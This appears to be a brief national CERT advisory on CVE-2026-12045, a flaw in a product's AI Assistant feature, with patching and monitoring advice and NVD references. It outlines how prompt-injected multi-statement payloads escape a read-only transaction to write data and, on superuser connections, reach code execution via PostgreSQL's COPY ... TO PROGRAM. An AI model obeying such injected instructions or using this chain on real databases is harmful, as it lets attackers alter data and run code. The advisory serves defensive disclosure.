CVE-2026-12045 affects the AI Assistant feature. A read-only transaction bypass allowed prompt-injected multi-statement payloads to commit write operations outside the READ ONLY transaction wrapper. On superuser database connections, this flaw chains to remote code execution via the “COPY ... TO PROGRAM” PostgreSQL command.

Recommended Actions

Patch
The Centre for Cybersecurity Belgium strongly recommends installing updates for vulnerable devices with the highest priority after thorough testing.

Monitor/Detect
The CCB recommends organizations upscale monitoring and detection capabilities to identify any related suspicious activity and ensure a swift response in case of an intrusion.

In case of an intrusion, you can report an incident via https://ccb.belgium.be/en/cert/report-incident.

While patching appliances or software to the newest version may protect against future exploitation, it does not remediate historic compromise.

References

NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-12048
NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-12045
NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-12046

---

Related vulnerabilities: CVE-2026-12046CVE-2026-12045CVE-2026-12048